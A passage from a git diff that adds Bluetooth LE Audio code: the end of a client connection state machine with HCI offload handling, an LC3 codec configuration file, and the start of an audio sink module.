"sal_lea_common.h" +#include "service_loop.h" + +#include "bt_utils.h" +#include "utils/log.h" + +typedef enum pending_state { + PENDING_NONE = 0x0, + PENDING_START = 0X02, + PENDING_STOP = 0x04, + PENDING_OFFLOAD_START = 0x08, + PENDING_OFFLOAD_STOP = 0x10, +} pending_state_t; + +typedef struct _lea_client_state_machine { + state_machine_t sm; + bool offloading; + uint32_t group_id; + pending_state_t pending; + void* service; + service_timer_t* offload_timer; + bt_address_t addr; +} lea_client_state_machine_t; + +#define LEA_SERVER_OFFLOAD_TIMEOUT 500 +#define LEA_SERVER_STM_DEBUG 1 + +extern bt_status_t lea_client_send_message(lea_client_msg_t* msg); + +#if LEA_SERVER_STM_DEBUG +static void lea_client_trans_debug(state_machine_t* sm, bt_address_t* addr, + const char* action); +static void lea_client_event_debug(state_machine_t* sm, bt_address_t* addr, + uint32_t event); +static const char* stack_event_to_string(lea_client_event_t event); + +#define LEAS_DBG_ENTER(__sm, __addr) lea_client_trans_debug(__sm, __addr, "Enter") +#define LEAS_DBG_EXIT(__sm, __addr) lea_client_trans_debug(__sm, __addr, "Exit ") +#define LEAS_DBG_EVENT(__sm, __addr, __event) lea_client_event_debug(__sm, __addr, __event); +#else +#define LEAS_DBG_ENTER(__sm, __addr) +#define LEAS_DBG_EXIT(__sm, __addr) +#define LEAS_DBG_EVENT(__sm, __addr, __event) +#endif + +static void closed_enter(state_machine_t* sm); +static void closed_exit(state_machine_t* sm); +static void opening_enter(state_machine_t* sm); +static void opening_exit(state_machine_t* sm); +static void opened_enter(state_machine_t* sm); +static void opened_exit(state_machine_t* sm); +static void started_enter(state_machine_t* sm); +static void started_exit(state_machine_t* sm); +static void closing_enter(state_machine_t* sm); +static void closing_exit(state_machine_t* sm); + +static bool closed_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool opening_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool opened_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool started_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool closing_process_event(state_machine_t* sm, uint32_t event, + void* p_data); +static bool flag_isset(lea_client_state_machine_t* leas_sm, pending_state_t flag); +static void flag_set(lea_client_state_machine_t* leas_sm, pending_state_t flag); +static void flag_clear(lea_client_state_machine_t* leas_sm, pending_state_t flag); + +static const state_t closed_state = { + .state_name = "Closed", + .enter = closed_enter, + .exit = closed_exit, + .process_event = closed_process_event, +}; + +static const state_t opening_state = { + .state_name = "Opening", + .enter = opening_enter, + .exit = opening_exit, + .process_event = opening_process_event, +}; + +static const state_t opened_state = { + .state_name = "Opened", + .enter = opened_enter, + .exit = opened_exit, + .process_event = opened_process_event, +}; + +static const state_t started_state = { + .state_name = "Started", + .enter = started_enter, + .exit = started_exit, + .process_event = started_process_event, +}; + +static const state_t closing_state = { + .state_name = "Closing", + .enter = closing_enter, + .exit = closing_exit, + .process_event = closing_process_event, +}; + +#if LEA_SERVER_STM_DEBUG +static void lea_client_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s State=%s, Peer=[%s]", action, hsm_get_current_state_name(sm), addr_str); +} + +static void lea_client_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("ProcessEvent, State=%s, Peer=[%s], Event=%s", hsm_get_current_state_name(sm), + addr_str, stack_event_to_string(event)); +} + +static const char* stack_event_to_string(lea_client_event_t event) +{ + switch (event) { + CASE_RETURN_STR(CONNECT_DEVICE) + CASE_RETURN_STR(DISCONNECT_DEVICE) + CASE_RETURN_STR(CONNECT_AUDIO) + CASE_RETURN_STR(DISCONNECT_AUDIO) + CASE_RETURN_STR(STARTUP) + CASE_RETURN_STR(SHUTDOWN) + CASE_RETURN_STR(TIMEOUT) + CASE_RETURN_STR(OFFLOAD_START_REQ) + CASE_RETURN_STR(OFFLOAD_STOP_REQ) + CASE_RETURN_STR(OFFLOAD_START_EVT) + CASE_RETURN_STR(OFFLOAD_STOP_EVT) + CASE_RETURN_STR(OFFLOAD_TIMEOUT) + CASE_RETURN_STR(STACK_EVENT_STACK_STATE) + CASE_RETURN_STR(STACK_EVENT_CONNECTION_STATE) + CASE_RETURN_STR(STACK_EVENT_METADATA_UPDATED) + CASE_RETURN_STR(STACK_EVENT_STORAGE) + CASE_RETURN_STR(STACK_EVENT_SERVICE) + CASE_RETURN_STR(STACK_EVENT_STREAM_ADDED) + CASE_RETURN_STR(STACK_EVENT_STREAM_REMOVED) + CASE_RETURN_STR(STACK_EVENT_STREAM_STARTED) + CASE_RETURN_STR(STACK_EVENT_STREAM_STOPPED) + CASE_RETURN_STR(STACK_EVENT_STREAM_RESUME) + CASE_RETURN_STR(STACK_EVENT_STREAM_SUSPEND) + CASE_RETURN_STR(STACK_EVENT_STREAN_RECV) + CASE_RETURN_STR(STACK_EVENT_STREAN_SENT) + CASE_RETURN_STR(STACK_EVENT_ASE_CODEC_CONFIG) + CASE_RETURN_STR(STACK_EVENT_ASE_QOS_CONFIG) + CASE_RETURN_STR(STACK_EVENT_ASE_ENABLING) + CASE_RETURN_STR(STACK_EVENT_ASE_STREAMING) + CASE_RETURN_STR(STACK_EVENT_ASE_DISABLING) + CASE_RETURN_STR(STACK_EVENT_ASE_RELEASING) + CASE_RETURN_STR(STACK_EVENT_ASE_IDLE) + default: + return "UNKNOWN_HF_EVENT"; + } +} +#endif + +static bool flag_isset(lea_client_state_machine_t* leas_sm, pending_state_t flag) +{ + return (bool)(leas_sm->pending & flag); +} + +static void flag_set(lea_client_state_machine_t* leas_sm, pending_state_t flag) +{ + leas_sm->pending |= flag; +} + +static void flag_clear(lea_client_state_machine_t* leas_sm, pending_state_t flag) +{ + leas_sm->pending &= ~flag; +} + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)context; + lea_client_msg_t* msg; + lea_client_event_t event; + + BT_LOGD("%s, evt_code:0x%x, len:%d", __func__, hci_event->evt_code, + hci_event->length); + BT_DUMPBUFFER("vsc", (uint8_t*)hci_event->params, hci_event->length); + + if (flag_isset(leas_sm, PENDING_OFFLOAD_START)) { + event = OFFLOAD_START_EVT; + flag_clear(leas_sm, PENDING_OFFLOAD_START); + } else if (flag_isset(leas_sm, PENDING_OFFLOAD_STOP)) { + event = OFFLOAD_STOP_EVT; + flag_clear(leas_sm, PENDING_OFFLOAD_STOP); + } else { + return; + } + + msg = lea_client_msg_new_ext(event, &leas_sm->addr, hci_event, sizeof(bt_hci_event_t) + hci_event->length); + if (!msg) { + BT_LOGE("error, hci event lea_client_msg_new_ext"); + return; + } + + lea_client_send_message(msg); +} + +static void lea_offload_config_timeout_callback(service_timer_t* timer, void* data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)data; + lea_client_msg_t* msg; + + msg = lea_client_msg_new(OFFLOAD_TIMEOUT, &leas_sm->addr); + if (!msg) { + BT_LOGE("error, offload timeout lea_client_msg_new"); + return; + } + + lea_client_state_machine_dispatch(leas_sm, msg); + lea_client_msg_destory(msg); +} + +static void closed_enter(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); + if (hsm_get_previous_state(sm)) { + lea_client_notify_connection_state_changed(&leas_sm->addr, + PROFILE_STATE_DISCONNECTED); + } +} + +static void closed_exit(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool closed_process_event(state_machine_t* sm, uint32_t event, + void* p_data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + lea_client_data_t* data = (lea_client_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case CONNECT_DEVICE: { + bt_status_t ret; + + ret = bt_sal_lea_client_connect(&leas_sm->addr); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s, ret:%d", __func__, ret); + } + break; + } + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_CONNECTED: { + lea_client_notify_connection_state_changed(&leas_sm->addr, state); + hsm_transition_to(sm, &opening_state); + break; + } + default: + break; + } + break; + } + default: + break; + } + + return true; +} + +static void opening_enter(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void opening_exit(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool opening_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + lea_client_data_t* data = (lea_client_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + default: + break; + } + break; + } + case CONNECT_AUDIO: { + leas_sm->group_id = data->valueint1; + lea_client_ucc_add_streams(leas_sm->group_id, &leas_sm->addr); + lea_client_ucc_config_codec(leas_sm->group_id, &leas_sm->addr); + hsm_transition_to(sm, &opened_state); + break; + } + case DISCONNECT_DEVICE: { + bt_sal_lea_disconnect(&leas_sm->addr); + break; + } + default: + break; + } + + return true; +} + +static void opened_enter(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void opened_exit(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool opened_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + lea_client_data_t* data = (lea_client_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + default: + break; + } + break; + } + case STACK_EVENT_STREAM_ADDED: { + lea_client_add_stream(data->valueint1, &leas_sm->addr); + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_client_remove_stream(data->valueint1); + break; + } + case STACK_EVENT_ASE_CODEC_CONFIG: { + if (data->valueint2) { + BT_LOGD("addr%s, stream:0x%08x, codec fail result:%d", bt_addr_str(&leas_sm->addr), data->valueint1, data->valueint2); + return false; + } + lea_client_ucc_config_qos(data->valueint3, &leas_sm->addr, data->valueint1); + break; + } + case STACK_EVENT_ASE_QOS_CONFIG: { + if (data->valueint2) { + BT_LOGD("addr%s, stream:0x%08x, qos fail result:%d", bt_addr_str(&leas_sm->addr), data->valueint1, data->valueint2); + return false; + } + lea_client_ucc_enable(data->valueint3, &leas_sm->addr, data->valueint1); + break; + } + case STACK_EVENT_ASE_ENABLING: { + hsm_transition_to(sm, &started_state); + break; + } + case DISCONNECT_DEVICE: { + bt_sal_lea_disconnect(&leas_sm->addr); + break; + } + default: + break; + } + + return true; +} + +static void started_enter(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void started_exit(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static void lea_client_stop_audio(uint32_t stream_id) +{ + lea_audio_stream_t* stream; + + stream = lea_client_find_stream(stream_id); + if (!stream) { + BT_LOGW("failed, stream %d not found", stream_id); + return; + } + + stream->started = false; + if (!stream->is_source) { + lea_audio_source_stop(true); + } else { + lea_audio_sink_stop(true); + } +} + +static void lea_client_stop_offload_req(lea_client_state_machine_t* leas_sm, lea_client_data_t* data) +{ + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + BT_DUMPBUFFER("stop req vsc", (uint8_t*)data->data, data->size); + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(leas_sm, PENDING_OFFLOAD_STOP); + + bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, + leas_sm); +} + +static bool started_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + lea_client_data_t* data = (lea_client_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + default: + break; + } + break; + } + case STACK_EVENT_ASE_STREAMING: { + break; + } + case STACK_EVENT_STREAM_STARTED: { + lea_audio_stream_t* audio_stream = (lea_audio_stream_t*)data->data; + lea_audio_config_t* audio_config; + + BT_LOGD("stream started, stream_id:0x%08x, is_source:%d", audio_stream->stream_id, audio_stream->is_source); + audio_config = lea_codec_get_config(audio_stream->is_source); + if (!audio_config) { + break; + } + + if (!audio_stream->is_source) { + lea_audio_source_update_codec(audio_config, audio_stream->sdu_size); + } else { + lea_audio_sink_update_codec(audio_config, audio_stream->sdu_size); + lea_audio_sink_start(); + } + break; + } + case OFFLOAD_START_REQ: { + uint8_t ogf; + uint16_t ocf; + uint8_t len; + uint8_t* payload; + + if (flag_isset(leas_sm, PENDING_OFFLOAD_START)) { + break; + } + + BT_DUMPBUFFER("start req vsc", (uint8_t*)data->data, data->size); + payload = data->data; + len = data->size - sizeof(ogf) - sizeof(ocf); + STREAM_TO_UINT8(ogf, payload) + STREAM_TO_UINT16(ocf, payload); + flag_set(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = service_loop_timer(LEA_SERVER_OFFLOAD_TIMEOUT, 0, lea_offload_config_timeout_callback, leas_sm); + + bt_sal_send_hci_command(PRIMARY_ADAPTER, ogf, ocf, len, payload, bt_hci_event_callback, + leas_sm); + break; + } + case OFFLOAD_START_EVT: { + bt_hci_event_t* hci_event; + hci_error_t status; + + hci_event = data->data; + if (leas_sm->offload_timer) { + service_loop_cancel_timer(leas_sm->offload_timer); + leas_sm->offload_timer = NULL; + } + + status = hci_get_result(hci_event); + if (status != HCI_SUCCESS) { + BT_LOGE("LEA_SERVER_OFFLOAD_START fail, status:0x%0x", status); + break; + } + + lea_client_ucc_started(leas_sm->group_id); + break; + } + case OFFLOAD_TIMEOUT: { + flag_clear(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = NULL; + break; + } + case OFFLOAD_STOP_REQ: { + lea_client_stop_offload_req(leas_sm, data); + break; + } + case OFFLOAD_STOP_EVT: { + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_client_stop_audio(data->valueint1); + break; + } + case STACK_EVENT_ASE_DISABLING: { + lea_client_ucc_remove_streams(data->valueint3, &leas_sm->addr); + hsm_transition_to(sm, &closing_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closed_state); + break; + } + case DISCONNECT_DEVICE: { + bt_sal_lea_disconnect(&leas_sm->addr); + break; + } + case DISCONNECT_AUDIO: { + lea_client_ucc_disable(data->valueint1, &leas_sm->addr); + break; + } + default: + break; + } + + return true; +} + +static void closing_enter(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_ENTER(sm, &leas_sm->addr); +} + +static void closing_exit(state_machine_t* sm) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + + LEAS_DBG_EXIT(sm, &leas_sm->addr); +} + +static bool closing_process_event(state_machine_t* sm, uint32_t event, void* p_data) +{ + lea_client_state_machine_t* leas_sm = (lea_client_state_machine_t*)sm; + lea_client_data_t* data = (lea_client_data_t*)p_data; + + LEAS_DBG_EVENT(sm, &leas_sm->addr, event); + + switch (event) { + case STACK_EVENT_CONNECTION_STATE: { + profile_connection_state_t state = data->valueint1; + switch (state) { + case PROFILE_STATE_DISCONNECTED: + hsm_transition_to(sm, &closed_state); + break; + default: + break; + } + break; + } + case CONNECT_AUDIO: { + leas_sm->group_id = data->valueint1; + lea_client_ucc_add_streams(leas_sm->group_id, &leas_sm->addr); + lea_client_ucc_config_codec(leas_sm->group_id, &leas_sm->addr); + hsm_transition_to(sm, &opened_state); + break; + } + case STACK_EVENT_ASE_RELEASING: { + hsm_transition_to(sm, &closed_state); + break; + } + case STACK_EVENT_STREAM_ADDED: { + lea_client_add_stream(data->valueint1, &leas_sm->addr); + break; + } + case STACK_EVENT_STREAM_REMOVED: { + lea_client_stop_audio(data->valueint1); + lea_client_remove_stream(data->valueint1); + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_client_stop_audio(data->valueint1); + break; + } + case DISCONNECT_DEVICE: { + bt_sal_lea_disconnect(&leas_sm->addr); + break; + } + case OFFLOAD_TIMEOUT: { + flag_clear(leas_sm, PENDING_OFFLOAD_START); + leas_sm->offload_timer = NULL; + break; + } + case OFFLOAD_STOP_REQ: { + lea_client_stop_offload_req(leas_sm, data); + break; + } + case OFFLOAD_STOP_EVT: { + break; + } + default: + break; + } + + return true; +} + +lea_client_state_machine_t* lea_client_state_machine_new(bt_address_t* addr, + void* context) +{ + lea_client_state_machine_t* leasm; + + leasm = (lea_client_state_machine_t*)malloc( + sizeof(lea_client_state_machine_t)); + if (!leasm) + return NULL; + + memset(leasm, 0, sizeof(lea_client_state_machine_t)); + leasm->service = context; + memcpy(&leasm->addr, addr, sizeof(bt_address_t)); + + hsm_ctor(&leasm->sm, (state_t*)&closed_state); + + return leasm; +} + +void lea_client_state_machine_destory(lea_client_state_machine_t* leasm) +{ + if (!leasm) + return; + + hsm_dtor(&leasm->sm); + free((void*)leasm); +} + +void lea_client_state_machine_dispatch(lea_client_state_machine_t* leasm, + lea_client_msg_t* msg) +{ + if (!leasm || !msg) + return; + + hsm_dispatch_event(&leasm->sm, msg->event, &msg->data); +} + +uint32_t lea_client_state_machine_get_state(lea_client_state_machine_t* leasm) +{ + return hsm_get_current_state_value(&leasm->sm); +} + +void lea_client_state_machine_set_offloading(lea_client_state_machine_t* leas_sm, bool offloading) +{ + leas_sm->offloading = offloading; +} diff --git a/service/profiles/leaudio/codec/lea_codec.c b/service/profiles/leaudio/codec/lea_codec.c new file mode 100644 index 0000000000000000000000000000000000000000..2ce191b9342cd699b5ac14fdb977ec1d145547bb --- /dev/null +++ b/service/profiles/leaudio/codec/lea_codec.c @@ -0,0 +1,304 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "lea_audio_common.h" +#include "lea_codec.h" + +enum { + LEA_CHANNEL_MODE_MONO = 0x00, + LEA_CHANNEL_MODE_STEREO, +}; + +enum { + LEA_CODEC_BITS_PER_SAMPLE_NONE = 0x0, + LEA_CODEC_BITS_PER_SAMPLE_16 = 0x01, + LEA_CODEC_BITS_PER_SAMPLE_24 = 0x02, + LEA_CODEC_BITS_PER_SAMPLE_32 = 0x04, +}; + +enum { + LEA_CODEC_INDEX_RATE_NONE = 0x00, + LEA_CODEC_INDEX_RATE_8000, + LEA_CODEC_INDEX_RATE_11025, + LEA_CODEC_INDEX_RATE_16000, + LEA_CODEC_INDEX_RATE_22050, + LEA_CODEC_INDEX_RATE_24000, + LEA_CODEC_INDEX_RATE_32000, + LEA_CODEC_INDEX_RATE_44100, + LEA_CODEC_INDEX_RATE_48000, + LEA_CODEC_INDEX_RATE_88200, + LEA_CODEC_INDEX_RATE_96000, + LEA_CODEC_INDEX_RATE_176400, + LEA_CODEC_INDEX_RATE_192000, + LEA_CODEC_INDEX_RATE_384000, +}; + +enum { + LEA_CODEC_TYPE_SBC = 0x00, + LEA_CODEC_TYPE_MPEG1_2_AUDIO, + LEA_CODEC_TYPE_MPEG2_4_AAC, + LEA_CODEC_TYPE_ATRAC, + LEA_CODEC_TYPE_OPUS, + LEA_CODEC_TYPE_H263, + LEA_CODEC_TYPE_MPEG4_VSP, + LEA_CODEC_TYPE_H263_PROF3, + LEA_CODEC_TYPE_H263_PROF8, + LEA_CODEC_TYPE_LHDC, + LEA_CODEC_TYPE_NON_A2DP, + LEA_CODEC_TYPE_LC3, +}; + +enum { + LEA_CODEC_FRAME_DURATION_7500US = 0x00, + LEA_CODEC_FRAME_DURATION_10000US = 0x01, +}; + +static lea_audio_config_t g_codec_config[2]; + +static uint8_t get_channel_count(uint32_t allocation) +{ + uint8_t channels = 0; + + while (allocation) { + if (allocation & 1) { + channels++; + } + allocation >>= 1; + } + + return channels; +} + +static uint8_t get_channal_mode(uint32_t allocation) +{ + uint8_t channels; + + channels = get_channel_count(allocation); + + switch (channels) { + case 1: + return LEA_CHANNEL_MODE_MONO; + case 2: + return LEA_CHANNEL_MODE_STEREO; + } + + return LEA_CHANNEL_MODE_MONO; +} + +static uint32_t get_bit_rate(lea_codec_config_t* config) +{ + uint8_t channels; + uint8_t duration; + + channels = get_channel_count(config->allocation); + duration = config->duration == 0 ? 134 : 100; // 7.5 ms or 10 ms + + return 8 * channels * config->octets * duration; +} + +static uint32_t get_sample_rate(uint8_t index) +{ + switch (index) { + case LEA_CODEC_INDEX_RATE_NONE: + return 0; + case LEA_CODEC_INDEX_RATE_8000: + return 8000; + case LEA_CODEC_INDEX_RATE_11025: + return 11025; + case LEA_CODEC_INDEX_RATE_16000: + return 16000; + case LEA_CODEC_INDEX_RATE_22050: + return 22050; + case LEA_CODEC_INDEX_RATE_24000: + return 24000; + case LEA_CODEC_INDEX_RATE_32000: + return 32000; + case LEA_CODEC_INDEX_RATE_44100: + return 44100; + case LEA_CODEC_INDEX_RATE_48000: + return 48000; + case LEA_CODEC_INDEX_RATE_88200: + return 88200; + case LEA_CODEC_INDEX_RATE_96000: + return 96000; + case LEA_CODEC_INDEX_RATE_176400: + return 176400; + case LEA_CODEC_INDEX_RATE_192000: + return 192000; + case LEA_CODEC_INDEX_RATE_384000: + return 384000; + } + + return 0; +} + +static uint32_t get_frame_size(lea_codec_config_t* config) +{ + uint32_t sample_rate; + float scale; + + sample_rate = get_sample_rate(config->frequency); + + switch (config->duration) { + case LEA_CODEC_FRAME_DURATION_7500US: + scale = 0.0075; + break; + case LEA_CODEC_FRAME_DURATION_10000US: + scale = 0.01; + break; + default: + scale = 0.01; + break; + } + + return sample_rate * scale; +} + +static uint32_t get_packet_size(lea_codec_config_t* config) +{ + uint8_t count; + + count = get_channel_count(config->allocation); + + return config->octets * count * config->blocks; +} + +static int get_codec_type(void) +{ + int index; + + for (index = 0; index < LEA_CODEC_MAX; index++) { + if (g_codec_config[index].active) { + return g_codec_config[index].codec_type; + } + } + return -1; +} + +static void lea_codec_lc3_update_config(lea_audio_stream_t* audio_stream) +{ + lea_audio_config_t* audio_config; + lea_codec_config_t* codec_cfg; + lea_stream_info_t* streams_info; + + if (audio_stream->is_source) { + audio_config = &g_codec_config[LEA_CODEC_SOURCE]; + } else { + audio_config = &g_codec_config[LEA_CODEC_SINK]; + } + + codec_cfg = &audio_stream->codec_cfg; + audio_config->active = true; + audio_config->codec_type = LEA_CODEC_TYPE_LC3; + audio_config->sample_rate = get_sample_rate(codec_cfg->frequency); + audio_config->bits_per_sample = LEA_CODEC_BITS_PER_SAMPLE_16; + audio_config->channel_mode = get_channal_mode(codec_cfg->allocation); + audio_config->bit_rate = get_bit_rate(codec_cfg); + audio_config->frame_size = get_frame_size(codec_cfg); + audio_config->packet_size = get_packet_size(codec_cfg); + + streams_info = &audio_config->streams_info[audio_config->stream_num]; + streams_info->stream_handle = audio_stream->iso_handle; + streams_info->channel_allocation = codec_cfg->allocation; + audio_config->stream_num++; +} + +static bool lea_codec_lc3_get_offload_config(lea_offload_config_t* offload) +{ + lea_audio_config_t* audio_config; + int index; + + for (index = 0; index < LEA_CODEC_MAX; index++) { + audio_config = &g_codec_config[index]; + if (audio_config->active) { + offload->codec[index].active = true; + offload->codec[index].stream_num = audio_config->stream_num; + memcpy(offload->codec[index].streams_info, audio_config->streams_info, sizeof(audio_config->streams_info)); + } + } + + return true; +} + +lea_audio_config_t* lea_codec_get_config(bool is_source) +{ + lea_audio_config_t* audio_config; + + if (is_source) { + audio_config = &g_codec_config[LEA_CODEC_SOURCE]; + } else { + audio_config = &g_codec_config[LEA_CODEC_SINK]; + } + + return audio_config; +} + +void lea_codec_set_config(lea_audio_stream_t* audio_stream) +{ + switch (audio_stream->codec_cfg.codec_id.codec_id) { + // todo: codec id + case LEA_CODEC_TYPE_LC3: + default: + lea_codec_lc3_update_config(audio_stream); + break; + } +} + +void lea_codec_unset_config(bool is_source) +{ + lea_audio_config_t* audio_config; + + if (is_source) { + audio_config = &g_codec_config[LEA_CODEC_SOURCE]; + } else { + audio_config = &g_codec_config[LEA_CODEC_SINK]; + } + + memset(audio_config, 0, sizeof(lea_audio_config_t)); +} + +bool lea_codec_get_offload_config(lea_offload_config_t* offload) +{ + uint8_t codec_type; + + codec_type = get_codec_type(); + switch (codec_type) { + case LEA_CODEC_TYPE_LC3: + return lea_codec_lc3_get_offload_config(offload); + + default: + return false; + } +} diff --git a/service/profiles/leaudio/lea_audio_sink.c b/service/profiles/leaudio/lea_audio_sink.c new file mode 100644 index 0000000000000000000000000000000000000000..f8904b61485a176c6e6bdb3b9eb1e5b6ffb97307 --- /dev/null +++ b/service/profiles/leaudio/lea_audio_sink.c @@ -0,0 +1,615 @@ +/**************************************************************************** + * frameworks/bluetooth/btservice/leaudio/audio_sink.c + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_audio_sink" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> + +#include "audio_transport.h" +#include "bt_time.h" +#include "bt_utils.h" +#include "lea_audio_sink.h" +#include "media_system.h" +#include "service_loop.h" +#include "utils/log.h" +#include "uv.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +#define CTRL_EVT_HEADER_LEN 1 +#define LEA_SINK_MEDIA_TICK_MS 10 +#define LEA_MAX_DELAY_PACKET_COUNT 5 +#define LEA_MAX_ENQUEUE_PACKET_COUNT 14 +#define LEA_ASYNC_SEND_COUNT 14 + +/**************************************************************************** + * Private Types + ****************************************************************************/ + +typedef enum { + AUDIO_CTRL_CMD_START, + AUDIO_CTRL_CMD_STOP, + AUDIO_CTRL_CMD_CONFIG_DONE +} audio_ctrl_cmd_t; + +typedef enum { + AUDIO_CTRL_EVT_STARTED, + AUDIO_CTRL_EVT_START_FAIL, + AUDIO_CTRL_EVT_STOPPED, + AUDIO_CTRL_EVT_UPDATE_CONFIG +} audio_ctrl_evt_t; + +typedef enum { + STREAM_STATE_OFF, + STREAM_STATE_RUNNING, + STREAM_STATE_FLUSHING +} stream_state_t; + +typedef struct { + bool ready; + bool offloading; + uint8_t packet_sending_cnt; + uint64_t underflow_ts; + uint32_t block_ticks; + stream_state_t state; + uv_mutex_t queue_lock; + 